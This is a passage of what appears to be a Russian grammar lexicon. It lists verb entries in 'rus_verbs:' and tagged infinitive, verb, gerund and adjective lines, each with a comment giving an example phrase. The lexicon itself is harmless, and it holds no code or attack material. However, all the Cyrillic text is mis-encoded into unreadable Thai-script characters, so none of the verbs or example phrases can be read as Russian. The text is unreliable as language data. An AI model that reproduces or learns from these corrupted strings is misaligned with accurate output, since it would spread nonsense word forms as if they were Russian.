rus_verbs:ะฟะพััะฝััััั{}, // ะฟะพััะฝััััั ะฝะฐ ัะณ
rus_verbs:ะฟัะธัะตััั{}, // ะฟัะธัะตััั ะฝะฐ ะบะพััะพัะบะธ
rus_verbs:ะฝะฐัััะฟะธัั{}, // ะฝะฐัััะฟะธัั ะฝะฐ ะทะผะตั
rus_verbs:ะทะฐะพัะฐัั{}, // ะทะฐะพัะฐัั ะฝะฐ ะฟะพะฟัะพัะฐะตะบ
rus_verbs:ะฝะฐะดะตัั{}, // ะฝะฐะดะตัั ะฝะฐ ะณะพะปะพะฒั
rus_verbs:ะฟะพะณะปัะดะตัั{}, // ะฟะพะณะปัะดะตัั ะฝะฐ ะดะตะฒัะพะฝะพะบ
rus_verbs:ะฟัะธะฝะธะผะฐัั{}, // ะฟัะธะฝะธะผะฐัั ะฝะฐ ะณะฐัะฐะฝัะธะนะฝะพะต ะพะฑัะปัะถะธะฒะฐะฝะธะต
rus_verbs:ะฟัะธะฒะตะทัะธ{}, // ะฟัะธะฒะตะทัะธ ะฝะฐ ะธัะฟััะฐะฝะธั
rus_verbs:ััั
ะฝััั{}, // ััั
ะฝััั ะฝะฐ ะฐััะฐะปัั
rus_verbs:ะฟััะบะฐัั{}, // ะฟััะบะฐัั ะฝะฐ ะบะพัะผ
rus_verbs:ะพัะฒะตััะธ{}, // ะพัะฒะตััะธ ะฝะฐ ะฟัะธัะผ
rus_verbs:ะพัะฟัะฐะฒะธัั{}, // ะพัะฟัะฐะฒะธัั ะฝะฐ ััะธะปะธะทะฐัะธั
rus_verbs:ะดะฒะธะณะฐัััั{}, // ะดะฒะธะณะฐัััั ะฝะฐ ะฒะพััะพะบ
rus_verbs:ะฝะตััะธ{}, // ะฝะตััะธ ะฝะฐ ะฟะปัะถ
rus_verbs:ะฟะฐะดะฐัั{}, // ะฟะฐะดะฐัั ะฝะฐ ััะบะธ
rus_verbs:ะพัะบะธะฝััััั{}, // ะพัะบะธะฝััััั ะฝะฐ ัะฟะธะฝะบั ะบัะตัะปะฐ
rus_verbs:ััะฒะบะฝััั{}, // ััะฒะบะฝััั ะฝะฐ ะดะตัะตะน
rus_verbs:ะฟะพะปััะฐัั{}, // ะฟะพะปััะฐัั ะฝะฐ ะฟัะพะถะธะฒะฐะฝะธะต
rus_verbs:ะฟะพะปะตะทัั{}, // ะฟะพะปะตะทัั ะฝะฐ ัะพะถะพะฝ
rus_verbs:ะฝะฐะฟัะฐะฒะธัั{}, // ะฝะฐะฟัะฐะฒะธัั ะฝะฐ ะดะพะพะฑัะปะตะดะพะฒะฐะฝะธะต
rus_verbs:ะฟัะธะฒะพะดะธัั{}, // ะฟัะธะฒะพะดะธัั ะฝะฐ ะฟัะพะฒะตัะบั
rus_verbs:ะฟะพััะตะฑะพะฒะฐัััั{}, // ะฟะพััะตะฑะพะฒะฐัััั ะฝะฐ ะทะฐะผะตะฝั
rus_verbs:ะบะธะฝััััั{}, // ะบะธะฝััััั ะฝะฐ ะฝะฐะฟะฐะดะฐะฒัะตะณะพ
rus_verbs:ััะธัััั{}, // ััะธัััั ะฝะฐ ัะพะบะฐัั
rus_verbs:ะฟัะธะฟะพะดะฝััั{}, // ะฟัะธะฟะพะดะฝััั ะฝะฐ ะพะดะธะฝ ะผะตัั
rus_verbs:ะฝะฐะปะธัั{}, // ะฝะฐะปะธัั ะฝะฐ ััะพะป
rus_verbs:ะธะณัะฐัั{}, // ะธะณัะฐัั ะฝะฐ ะดะตะฝัะณะธ
rus_verbs:ัะฐัััะธััะฒะฐัั{}, // ัะฐัััะธััะฒะฐัั ะฝะฐ ะฟะพะดะผะพะณั
rus_verbs:ัะตะฟะฝััั{}, // ัะตะฟะฝััั ะฝะฐ ัั
ะพ
rus_verbs:ัะฒััะฝััั{}, // ัะฒััะฝััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฟััะณะฝััั{}, // ะฟััะณะฝััั ะฝะฐ ะพะปะตะฝั
rus_verbs:ะฟัะตะดะปะฐะณะฐัั{}, // ะฟัะตะดะปะฐะณะฐัั ะฝะฐ ะฒัะฑะพั
rus_verbs:ัะฐะดะธัััั{}, // ัะฐะดะธัััั ะฝะฐ ัััะป
rus_verbs:ะปะธัั{}, // ะปะธัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะธัะฟััะฐัั{}, // ะธัะฟััะฐัั ะฝะฐ ะถะธะฒะพัะฝัั
rus_verbs:ัััะบะฝััั{}, // ัััะบะฝััั ะฝะฐ ะดะตัะตะฝััะฐ
rus_verbs:ะณะพะดะธัััั{}, // ะผััะพ ะณะพะดะธััั ะฝะฐ ัะฐัั
rus_verbs:ะฟัะพะฒะตัะธัั{}, // ะฟัะพะฒะตัะธัั ะฒััะบะฐะทัะฒะฐะฝะธะต ะฝะฐ ะธััะธะฝะฝะพััั
rus_verbs:ะพัะบะปะธะบะฝััััั{}, // ะพัะบะปะธะบะฝััััั ะฝะฐ ะฟัะธะทัะฒั
rus_verbs:ะฟะพะปะฐะณะฐัััั{}, // ะฟะพะปะฐะณะฐัััั ะฝะฐ ะธะฝััะธัะธั
rus_verbs:ะฟะพะบะพัะธัััั{}, // ะฟะพะบะพัะธัััั ะฝะฐ ัะพัะตะดะฐ
rus_verbs:ะฟะพะฒะตัะธัั{}, // ะฟะพะฒะตัะธัั ะฝะฐ ะณะฒะพะทะดั
ะธะฝัะธะฝะธัะธะฒ:ะฟะพั
ะพะดะธัั{ะฒะธะด:ัะพะฒะตัั}, // ะฟะพั
ะพะดะธัั ะฝะฐ ะทะฐะฝััะธั
ะณะปะฐะณะพะป:ะฟะพั
ะพะดะธัั{ะฒะธะด:ัะพะฒะตัั},
ะดะตะตะฟัะธัะฐััะธะต:ะฟะพั
ะพะดะธะฒ{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟะพั
ะพะดะธะฒัะธะน{},
rus_verbs:ะฟะพะผัะฐัััั{}, // ะฟะพะผัะฐัััั ะฝะฐ ัะบะทะฐะผะตะฝ
rus_verbs:ััะฐะฒะธัั{}, // ััะฐะฒะธัั ะฝะฐ ะบะพะฝััะพะปั
rus_verbs:ัะฒะฐะปะธัััั{}, // ัะฒะฐะปะธัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒะฐะปะธัััั{}, // ะฒะฐะปะธัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฟะพะดะฐัะธัั{}, // ะฟะพะดะฐัะธัั ะฝะฐ ะดะตะฝั ัะพะถะดะตะฝัั
rus_verbs:ัะฑะตะถะฐัั{}, // ัะฑะตะถะฐัั ะฝะฐ ะฝะตะพะฑะธัะฐะตะผัะน ะพัััะพะฒ
rus_verbs:ัััะตะปััั{}, // ัััะตะปััั ะฝะฐ ะฟะพัะฐะถะตะฝะธะต
rus_verbs:ะพะฑัะฐัะฐัั{}, // ะพะฑัะฐัะฐัั ะฝะฐ ัะตะฑั ะฒะฝะธะผะฐะฝะธะต
rus_verbs:ะฝะฐัััะฟะฐัั{}, // ะฝะฐัััะฟะฐัั ะฝะฐ ัะต ะถะต ะณัะฐะฑะปะธ
rus_verbs:ัะฑัะพัะธัั{}, // ัะฑัะพัะธัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะพะฑะธะดะตัััั{}, // ะพะฑะธะดะตัััั ะฝะฐ ะดััะณะฐ
rus_verbs:ััััะพะธัััั{}, // ััััะพะธัััั ะฝะฐ ััะฐะถะธัะพะฒะบั
rus_verbs:ะฟะพะณััะทะธัััั{}, // ะฟะพะณััะทะธัััั ะฝะฐ ะฑะพะปัััั ะณะปัะฑะธะฝั
rus_verbs:ัะตัั{}, // ัะตัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะพัะฑัะพัะธัั{}, // ะพัะฑัะพัะธัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะผะตัะฐัั{}, // ะผะตัะฐัั ะฝะฐ ะดะฝะพ
rus_verbs:ะฟัััะธัั{}, // ะฟัััะธัั ะฝะฐ ะฟะตัะตะฟะปะฐะฒะบั
rus_verbs:ะฟัะพะถะธัั{}, // ะฟัะพะถะธัั ะฝะฐ ะฟะพัะพะฑะธะต
rus_verbs:ะฟะพะปะตัะตัั{}, // ะฟะพะปะตัะตัั ะฝะฐ ะบะพะฝัะธะฝะตะฝั
rus_verbs:ะฟัะพะฟัััะธัั{}, // ะฟัะพะฟัััะธัั ะฝะฐ ััะตะฝั
rus_verbs:ัะบะฐะทัะฒะฐัั{}, // ัะบะฐะทัะฒะฐัั ะฝะฐ ะพัะธะฑะบั
rus_verbs:ะฝะฐัะบะฝััััั{}, // ะฝะฐัะบะฝััััั ะฝะฐ ะบะปะฐะด
rus_verbs:ัะฒะฐะฝััั{}, // ัะฒะฐะฝััั ะฝะฐ ัะณ
rus_verbs:ัััะฟะฐัั{}, // ัััะฟะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ัะฟััะณะฝััั{}, // ัะฟััะณะฝััั ะฝะฐ ะฑะตัะตะณ
rus_verbs:ะทะฐั
ะพะดะธัั{}, // ะทะฐั
ะพะดะธัั ะฝะฐ ะพะณะพะฝัะบ
rus_verbs:ะฝััะฝััั{}, // ะฝััะฝััั ะฝะฐ ะณะปัะฑะธะฝั
rus_verbs:ัะฒะฐะฝััััั{}, // ัะฒะฐะฝััััั ะฝะฐ ัะฒะพะฑะพะดั
rus_verbs:ะฝะฐััะฝััั{}, // ะฝะฐััะฝััั ะฝะฐ ะณะพะปะพะฒั
rus_verbs:ะทะฐะฑัะฐัััั{}, // ะทะฐะฑัะฐัััั ะฝะฐ ััะพะป
rus_verbs:ะฟะพะผะฐั
ะฐัั{}, // ะฟะพะผะฐั
ะฐัั ะฝะฐ ะฟัะพัะฐะฝะธะต
rus_verbs:ัะพะดะตัะถะฐัั{}, // ัะพะดะตัะถะฐัั ะฝะฐ ัะฟะพะฝัะพััะบัั ะฟะพะผะพัั
rus_verbs:ะฟัะธะตะทะถะฐัั{}, // ะฟัะธะตะทะถะฐัั ะฝะฐ ะฟัะฐะทะดะฝะธะบะธ
rus_verbs:ะฟัะพะฝะธะบะฝััั{}, // ะฟัะพะฝะธะบะฝััั ะฝะฐ ัะตััะธัะพัะธั
rus_verbs:ะฟะพะดัะตั
ะฐัั{}, // ะฟะพะดัะตั
ะฐัั ะฝะฐ ะผะธัะธะฝะณ
rus_verbs:ััััะตะผะธัััั{}, // ััััะตะผะธัััั ะฝะฐ ะฒะพะปั
rus_verbs:ะฟะพัะฐะดะธัั{}, // ะฟะพัะฐะดะธัั ะฝะฐ ัััะป
rus_verbs:ัะธะฝััััั{}, // ัะธะฝััััั ะฝะฐ ะณะพะปะบะธะฟะตัะฐ
rus_verbs:ะฟะพะดะฒะธะณะฝััั{}, // ะฟะพะดะฒะธะณะฝััั ะฝะฐ ะฟะพะดะฒะธะณ
rus_verbs:ะพัะดะฐะฒะฐัั{}, // ะพัะดะฐะฒะฐัั ะฝะฐ ะฟะตัะตะฒะพัะฟะธัะฐะฝะธะต
rus_verbs:ะพัะปะพะถะธัั{}, // ะพัะปะพะถะธัั ะฝะฐ ัะตัะฝัะน ะดะตะฝั
rus_verbs:ัะฑะตะถะฐัั{}, // ัะฑะตะถะฐัั ะฝะฐ ัะฐะฝัั
rus_verbs:ะฟะพะดะฝะธะผะฐัั{}, // ะฟะพะดะฝะธะผะฐัั ะฝะฐ ะฒะตัั
ะฝะธะน ััะฐะถ
rus_verbs:ะฟะตัะตั
ะพะดะธัั{}, // ะฟะตัะตั
ะพะดะธัั ะฝะฐ ัะธััะพะฒะพะน ัะธะณะฝะฐะป
rus_verbs:ะพัะพัะปะฐัั{}, // ะพัะพัะปะฐัั ะฝะฐ ะฟะตัะตะฐััะตััะฐัะธั
rus_verbs:ะพัะพะดะฒะธะฝััั{}, // ะพัะพะดะฒะธะฝััั ะฝะฐ ะดััะณัั ะฟะพะปะพะฒะธะฝั ััะพะปะฐ
rus_verbs:ะฝะฐะทะฝะฐัะธัั{}, // ะฝะฐะทะฝะฐัะธัั ะฝะฐ ะดะพะปะถะฝะพััั
rus_verbs:ะพัะตััั{}, // ะพัะตััั ะฝะฐ ะดะฝะพ
rus_verbs:ัะพัะพะฟะธัััั{}, // ัะพัะพะฟะธัััั ะฝะฐ ัะบะทะฐะผะตะฝ
rus_verbs:ะผะตะฝััั{}, // ะผะตะฝััั ะฝะฐ ะตะดั
rus_verbs:ะดะพััะฐะฒะธัั{}, // ะดะพััะฐะฒะธัั ะฝะฐ ัะตััะพะน ััะฐะถ
rus_verbs:ะทะฐัะปะฐัั{}, // ะทะฐัะปะฐัั ะฝะฐ ะฟัะพะฒะตัะบั
rus_verbs:ะดััั{}, // ะดััั ะฝะฐ ะฒะพะดั
rus_verbs:ัะพัะปะฐัั{}, // ัะพัะปะฐัั ะฝะฐ ะบะฐัะพัะณั
rus_verbs:ะพััะฐะฝะฐะฒะปะธะฒะฐัััั{}, // ะพััะฐะฝะฐะฒะปะธะฒะฐัััั ะฝะฐ ะพัะดัั
rus_verbs:ัะดะฐะฒะฐัััั{}, // ัะดะฐะฒะฐัััั ะฝะฐ ะผะธะปะพััั ะฟะพะฑะตะดะธัะตะปั
rus_verbs:ัะพัะปะฐัััั{}, // ัะพัะปะฐัััั ะฝะฐ ะฟัะตะทัะผะฟัะธั ะฝะตะฒะธะฝะพะฒะฝะพััะธ
rus_verbs:ัะฐััะตัะดะธัััั{}, // ัะฐััะตัะดะธัััั ะฝะฐ ะดะพัั
rus_verbs:ะบะธะฝััั{}, // ะบะธะฝััั ะฝะฐ ะทะตะผะปั
rus_verbs:ัะฐัะฟะพะปะพะถะธัััั{}, // ัะฐัะฟะพะปะพะถะธัััั ะฝะฐ ะฝะพัะปะตะณ
rus_verbs:ะพัะผะตะปะธัััั{}, // ะพัะผะตะปะธัััั ะฝะฐ ะฟะพะดะปะพะณ
rus_verbs:ัะตะฟัะฐัั{}, // ัะตะฟัะฐัั ะฝะฐ ััะบะพ
rus_verbs:ััะพะฝะธัั{}, // ััะพะฝะธัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะพัะบะธะฝััั{}, // ะพัะบะธะฝััั ะฝะฐ ัะฟะธะฝะบั ะบัะตัะปะฐ
rus_verbs:ะฟะตัะตะฝะตััะธ{}, // ะฟะตัะตะฝะตััะธ ะฝะฐ ัะฐะฑะพัะธะน ััะพะป
rus_verbs:ัะดะฐัััั{}, // ัะดะฐัััั ะฝะฐ ะผะธะปะพััั ะฟะพะฑะตะดะธัะตะปั
rus_verbs:ัะฒะตัะธัั{}, // ัะฒะตัะธัั ะฝะฐ ะดะพัะพะณั
rus_verbs:ะผัะฐัััั{}, // ะผัะฐัััั ะฝะฐ ะฑะฐะป
rus_verbs:ะฝะตััะธัั{}, // ะฝะตััะธัั ะฝะฐ ัะฒะธะดะฐะฝะธะต
rus_verbs:ะฟะพะณะปัะดัะฒะฐัั{}, // ะฟะพะณะปัะดัะฒะฐัั ะฝะฐ ัะบัะฐะฝ
rus_verbs:ะพัะฐัั{}, // ะพัะฐัั ะฝะฐ ะดะตัะตะน
rus_verbs:ัะปะพะถะธัั{}, // ัะปะพะถะธัั ะฝะฐ ะปะพะฟะฐัะบะธ
rus_verbs:ัะตัะฐัััั{}, // ัะตัะฐัััั ะฝะฐ ะฟะพัััะฟะพะบ
rus_verbs:ะฟะพะฟะฐะดะฐัั{}, // ะฟะพะฟะฐะดะฐัั ะฝะฐ ะบะฐัะฐะฝะดะฐั
rus_verbs:ัะฟะปัะฝััั{}, // ัะฟะปัะฝััั ะฝะฐ ะทะตะผะปั
rus_verbs:ัะฝะธะผะฐัั{}, // ัะฝะธะผะฐัั ะฝะฐ ัะตะปะตัะพะฝ
rus_verbs:ะพะฟะพะทะดะฐัั{}, // ะพะฟะพะทะดะฐัั ะฝะฐ ัะฐะฑะพัั
rus_verbs:ะฟะพััะปะฐัั{}, // ะฟะพััะปะฐัั ะฝะฐ ะฟัะพะฒะตัะบั
rus_verbs:ะฟะพะณะฝะฐัั{}, // ะฟะพะณะฝะฐัั ะฝะฐ ะฟะฐััะฑะธัะต
rus_verbs:ะฟะพัััะฟะฐัั{}, // ะฟะพัััะฟะฐัั ะฝะฐ ะบะธะฑะตัะฝะตัะธัะตัะบะธะน ัะฐะบัะปััะตั
rus_verbs:ัะฟััะบะฐัััั{}, // ัะฟััะบะฐัััั ะฝะฐ ััะพะฒะตะฝั ะผะพัั
rus_verbs:ััะฐะดะธัั{}, // ััะฐะดะธัั ะฝะฐ ะดะธะฒะฐะฝ
rus_verbs:ะฟัะพะธะณัะฐัั{}, // ะฟัะพะธะณัะฐัั ะฝะฐ ัะฟะพั
rus_verbs:ะฟัะธะปะตัะตัั{}, // ะฟัะธะปะตัะตัั ะฝะฐ ัะตััะธะฒะฐะปั
rus_verbs:ะฟะพะฒะฐะปะธัััั{}, // ะฟะพะฒะฐะปะธัััั ะฝะฐ ัะฟะธะฝั
rus_verbs:ะพะณััะทะฝััััั{}, // ะกะพะฑะฐะบะฐ ะพะณััะทะฝัะปะฐัั ะฝะฐ ั
ะพะทัะธะฝะฐ
rus_verbs:ะทะฐะดะฐะฒะฐัั{}, // ะทะฐะดะฐะฒะฐัั ะฝะฐ ะฒัั
ะพะดะฝัะต
rus_verbs:ะทะฐะฟะฐััั{}, // ะทะฐะฟะฐััั ะฝะฐ ะดะตะฒะพัะบั
rus_verbs:ะปะตะทัั{}, // ะปะตะทัั ะฝะฐ ะทะฐะฑะพั
rus_verbs:ะฟะพัะฐัะธัั{}, // ะฟะพัะฐัะธัั ะฝะฐ ะฒัะฑะพัั
rus_verbs:ะฝะฐะฟัะฐะฒะปััััั{}, // ะฝะฐะฟัะฐะฒะปััััั ะฝะฐ ัะบะทะฐะผะตะฝ
rus_verbs:ะพะฟัะตะดะตะปััั{}, // ะพะฟัะตะดะตะปััั ะฝะฐ ะฒะบัั
rus_verbs:ะฟะพะฟะพะปะทัะธ{}, // ะฟะพะฟะพะปะทัะธ ะฝะฐ ััะตะฝั
rus_verbs:ะฟะพะฟะปััั{}, // ะฟะพะฟะปััั ะฝะฐ ะฑะตัะตะณ
rus_verbs:ะทะฐะปะตะทัั{}, // ะทะฐะปะตะทัั ะฝะฐ ัะฑะปะพะฝั
rus_verbs:ัะดะฐัั{}, // ัะดะฐัั ะฝะฐ ะผััะพะบะพะผะฑะธะฝะฐั
rus_verbs:ะฟัะธะทะตะผะปะธัััั{}, // ะฟัะธะทะตะผะปะธัััั ะฝะฐ ะดะพัะพะณั
rus_verbs:ะปะฐััั{}, // ะปะฐััั ะฝะฐ ะฟัะพั
ะพะถะธั
rus_verbs:ะฟะตัะตะฒะตัะฝััั{}, // ะฟะตัะตะฒะตัะฝััั ะฝะฐ ะฑะพะบ
rus_verbs:ะปะพะฒะธัั{}, // ะปะพะฒะธัั ะฝะฐ ะถะธะฒัะฐ
rus_verbs:ะพัะฝะตััะธ{}, // ะพัะฝะตััะธ ะถะธะฒะพัะฝะพะต ะฝะฐ ั
ะธัััะณะธัะตัะบะธะน ััะพะป
rus_verbs:ะฟะปัะฝััั{}, // ะฟะปัะฝััั ะฝะฐ ััะปะพะฒะฝะพััะธ
rus_verbs:ะฟะตัะตะดะฐะฒะฐัั{}, // ะฟะตัะตะดะฐะฒะฐัั ะฝะฐ ะฟัะพะฒะตัะบั
rus_verbs:ะฝะฐะฝััั{}, // ะะพัั ะฝะฐะฝัะป ะฝะฐ ัะฐะฑะพัั ะตัะต ะฝะตัะบะพะปัะบะพ ัะตะปะพะฒะตะบ
rus_verbs:ัะฐะทะพะทะปะธัััั{}, // ะะฐะฟะฐ ัะฐะทะพะทะปะธะปัั ะฝะฐ ััะฝะฐ ะธะท-ะทะฐ ะฟะปะพั
ะธั
ะพัะตะฝะพะบ ะฟะพ ะผะฐัะตะผะฐัะธะบะต
ะธะฝัะธะฝะธัะธะฒ:ัะฐัััะฟะฐัััั{ะฒะธะด:ะฝะตัะพะฒะตัั}, // ัะฐัััะฟะฐัััั ะฝะฐ ะผะตะปะบะธะต ะดะตัะฐะปะธ
ะธะฝัะธะฝะธัะธะฒ:ัะฐัััะฟะฐัััั{ะฒะธะด:ัะพะฒะตัั},
ะณะปะฐะณะพะป:ัะฐัััะฟะฐัััั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ัะฐัััะฟะฐัััั{ะฒะธะด:ัะพะฒะตัั},
ะดะตะตะฟัะธัะฐััะธะต:ัะฐัััะฟะฐะฒัะธัั{},
ะดะตะตะฟัะธัะฐััะธะต:ัะฐัััะฟะฐััั{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฐัััะฟะฐะฒัะธะนัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฐัััะฟะฐะฒัะธะนัั{ะฒะธะด:ัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฐัััะฟะฐััะธะนัั{},
rus_verbs:ะทะฐัััะฐัั{}, // ะะตะดะฒะตะดะธัะฐ ะทะฐัััะฐะปะฐ ะฝะฐ ะผะตะดะฒะตะถะพะฝะบะฐ
rus_verbs:ะฟัะธะทะฒะฐัั{}, // ะฟัะธะทะฒะฐัั ะฝะฐ ัะฑะพัั
rus_verbs:ัะฒะตะทัะธ{}, // ัะฒะตะทัะธ ะฝะฐ ะดะฐัั
rus_verbs:ัะพะดะตัะถะฐัััั{}, // ัะพะดะตัะถะฐัััั ะฝะฐ ะฟะพะถะตััะฒะพะฒะฐะฝะธั
rus_verbs:ะฝะฐะฒะตััะธ{}, // ะฝะฐะฒะตััะธ ะฝะฐ ัะบะพะฟะปะตะฝะธะต ัะตะปะตัะบะพะฟ
rus_verbs:ะพัะฟัะฐะฒะปััััั{}, // ะพัะฟัะฐะฒะปััััั ะฝะฐ ััะธะปะธะทะฐัะธั
rus_verbs:ัะปะตัััั{}, // ัะปะตัััั ะฝะฐ ะถะธะฒะพัะธะบ
rus_verbs:ะฝะฐะปะตัะตัั{}, // ะฝะฐะปะตัะตัั ะฝะฐ ะฟัะตะฟััััะฒะธะต
rus_verbs:ะฟะตัะตะฒะตัะฝััััั{}, // ะฟะตัะตะฒะตัะฝััััั ะฝะฐ ัะฟะธะฝั
rus_verbs:ัะปะตัะตัั{}, // ัะปะตัะตัั ะฝะฐ ัะพะดะธะฝั
rus_verbs:ะปะพะถะธัััั{}, // ะปะพะถะธัััั ะฝะฐ ะฑะพะบ
rus_verbs:ะบะปะฐััั{}, // ะบะปะฐััั ะฝะฐ ะผะตััะพ
rus_verbs:ะพััะตะฐะณะธัะพะฒะฐัั{}, // ะพััะตะฐะณะธัะพะฒะฐัั ะฝะฐ ะฒััััะฟะปะตะฝะธะต
rus_verbs:ะดะพััะฐะฒะปััั{}, // ะดะพััะฐะฒะปััั ะฝะฐ ะดะพะผ
rus_verbs:ะพัะฝััั{}, // ะพัะฝััั ะฝะฐ ะฑะปะฐะณะพ ะฟัะฐะฒััะตะน ะฒะตัั
ััะบะธ
rus_verbs:ัััะฟะธัั{}, // ัััะฟะธัั ะฝะฐ ะทะตะผะปั
rus_verbs:ัะฒะพะดะธัั{}, // ัะฒะพะดะธัั ะฝะฐ ะบะพะฝัะตัั ะทะฝะฐะผะตะฝะธัะพะน ัะพะบ-ะณััะฟะฟั
rus_verbs:ัะฝะตััะธ{}, // ัะฝะตััะธ ะฝะฐ ัะฐะฑะพัั
rus_verbs:ัั
ะพะดะธัั{}, // ัั
ะพะดะธัั ะฝะฐ ะบะพะฝัะตัั
rus_verbs:ะฟะพััะฐัะธัั{}, // ะฟะพััะฐัะธัั ะฝะฐ ะบะพัะผ ะธ ะฝะฐะฟะพะปะฝะธัะตะปั ะดะปั ััะฐะปะตัะฐ ะฒัะต ะดะตะฝัะณะธ
rus_verbs:ัะพัะบะพัะธัั{}, // ัะพัะบะพัะธัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฟะพะถะฐะปะพะฒะฐัััั{}, // ะฟะพะถะฐะปะพะฒะฐัััั ะฝะฐ ัะพัะตะดะตะน
rus_verbs:ัะฐัะธัั{}, // ัะฐัะธัั ะฝะฐ ะทะฐะผะตะฝั
rus_verbs:ะทะฐะผะฐั
ะฐัั{}, // ะทะฐะผะฐั
ะฐัั ััะบะฐะผะธ ะฝะฐ ะฟะฐัะตะฝัะบะฐ
rus_verbs:ะทะฐะณะปัะดัะฒะฐัั{}, // ะทะฐะณะปัะดัะฒะฐัั ะฝะฐ ะพะฑะตะด
rus_verbs:ัะพะณะปะฐัะฐัััั{}, // ัะพะณะปะฐัะฐัััั ะฝะฐ ัะฐะฒะฝัะน ะพะฑะผะตะฝ
rus_verbs:ะฟะปัั
ะฝััััั{}, // ะฟะปัั
ะฝััััั ะฝะฐ ะผัะณะบะธะน ะฟััะธะบ
rus_verbs:ัะฒะตััะธ{}, // ัะฒะตััะธ ะฝะฐ ะพัะผะพัั
rus_verbs:ััะฟะตะฒะฐัั{}, // ััะฟะตะฒะฐัั ะฝะฐ ะบะพะฝััะพะปัะฝัั ัะฐะฑะพัั
rus_verbs:ะพะฟัะพะบะธะฝััั{}, // ะพะฟัะพะบะธะฝััั ะฝะฐ ัะตะฑั
rus_verbs:ะฟะพะดะฐะฒะฐัั{}, // ะฟะพะดะฐะฒะฐัั ะฝะฐ ะฐะฟะตะปะปััะธั
rus_verbs:ะฟัะธะฑะตะถะฐัั{}, // ะฟัะธะฑะตะถะฐัั ะฝะฐ ะฒะพะบะทะฐะป
rus_verbs:ะพััะฒััะฝััั{}, // ะพััะฒััะฝััั ะฝะฐ ะทะฐะผะปั
rus_verbs:ะฟัะธะฒะปะตะบะฐัั{}, // ะฟัะธะฒะปะตะบะฐัั ะฝะฐ ัะฒะพั ััะพัะพะฝั
rus_verbs:ะพะฟะตัะตัััั{}, // ะพะฟะตัะตัััั ะฝะฐ ะฟะฐะปะบั
rus_verbs:ะฟะตัะตะฑัะฐัััั{}, // ะฟะตัะตะฑัะฐัััั ะฝะฐ ะผะฐะปะตะฝัะบะธะน ะพัััะพะฒะพะบ
rus_verbs:ัะณะพะฒะพัะธัั{}, // ัะณะพะฒะพัะธัั ะฝะฐ ะฝะพะฒัะต ััะฐัั
rus_verbs:ะณัะปััั{}, // ะณัะปััั ะฝะฐ ัะฟะพะฝัะพััะบะธะต ะดะตะฝัะณะธ
rus_verbs:ะฟะตัะตะฒะพะดะธัั{}, // ะฟะตัะตะฒะพะดะธัั ะฝะฐ ะดััะณะพะน ะฟััั
rus_verbs:ะทะฐะบะพะปะตะฑะฐัััั{}, // ะทะฐะบะพะปะตะฑะฐัััั ะฝะฐ ะพะดะธะฝ ะผะธะณ
rus_verbs:ะทะฐัะตะฟัะฐัั{}, // ะทะฐัะตะฟัะฐัั ะฝะฐ ััะบะพ
rus_verbs:ะฟัะธะฒััะฐัั{}, // ะฟัะธะฒััะฐัั ะฝะฐ ััะฟะพัะบะธ
rus_verbs:ั
ะปัะฝััั{}, // ั
ะปัะฝััั ะฝะฐ ะฑะตัะตะณ
rus_verbs:ะฝะฐะฑัะพัะธัััั{}, // ะฝะฐะฑัะพัะธัััั ะฝะฐ ะตะดั
rus_verbs:ะฝะฐะฟะฐััั{}, // ะฟะพะฒััะฐะฝัั, ะฝะฐะฟะฐะฒัะธะต ะฝะฐ ะบะพะฝะฒะพะน
rus_verbs:ัะฑัะฐัั{}, // ะบะฝะธะณะฐ, ัะฑัะฐะฝะฝะฐั ะฝะฐ ะฟะพะปะบั
rus_verbs:ะฟะพะฟะฐััั{}, // ะฟััะตัะตััะฒะตะฝะฝะธะบะธ, ะฟะพะฟะฐะฒัะธะต ะฝะฐ ะฝะธัะตะนะฝัั ัะตััะธัะพัะธั
rus_verbs:ะทะฐัะผะฐััะธะฒะฐัััั{}, // ะทะฐัะผะฐััะธะฒะฐัััั ะฝะฐ ะดะตะฒัะพะฝะพะบ
rus_verbs:ะทะฐััะตะณะฝััััั{}, // ะทะฐััะตะณะฝััััั ะฝะฐ ะฒัะต ะฟัะณะพะฒะธัั
rus_verbs:ะฟัะพะฒะตัะธัััั{}, // ะฟัะพะฒะตัะธัััั ะฝะฐ ะทะฐะฑะพะปะตะฒะฐะฝะธั
rus_verbs:ะฟัะพะฒะตัััััั{}, // ะฟัะพะฒะตัััััั ะฝะฐ ะทะฐะฑะพะปะตะฒะฐะฝะธั
rus_verbs:ัะตััะธัะพะฒะฐัั{}, // ัะตััะธัะพะฒะฐัั ะฝะฐ ะฟัะพัะฟัะธะณะพะดะฝะพััั
rus_verbs:ะฟัะพัะตััะธัะพะฒะฐัั{}, // ะฟัะพัะตััะธัะพะฒะฐัั ะฝะฐ ะฟัะพัะฟัะธะณะพะดะฝะพััั
rus_verbs:ัั
ะพะดะธัั{}, // ะพัะตั, ัั
ะพะดััะธะน ะฝะฐ ัะฐะฑะพัั
rus_verbs:ะฝะฐะปะธะฟะฝััั{}, // ัะฝะตะณ, ะฝะฐะปะธะฟัะธะน ะฝะฐ ะฟัะพะฒะพะดะฐ
rus_verbs:ะฝะฐะปะธะฟะฐัั{}, // ัะฝะตะณ, ะฝะฐะปะธะฟะฐััะธะน ะฝะฐ ะฟัะพะฒะพะดะฐ
rus_verbs:ัะปะตัะฐัั{}, // ะะฝะพะณะธะต ะฟัะธัั ัะปะตัะฐัั ะพัะตะฝัั ะฝะฐ ัะณ.
rus_verbs:ะฟะพะตั
ะฐัั{}, // ะพะฝะฐ ะฟะพะตั
ะฐะปะฐ ะฝะฐ ะฒัััะตัั ั ะทะฐะบะฐะทัะธะบะพะผ
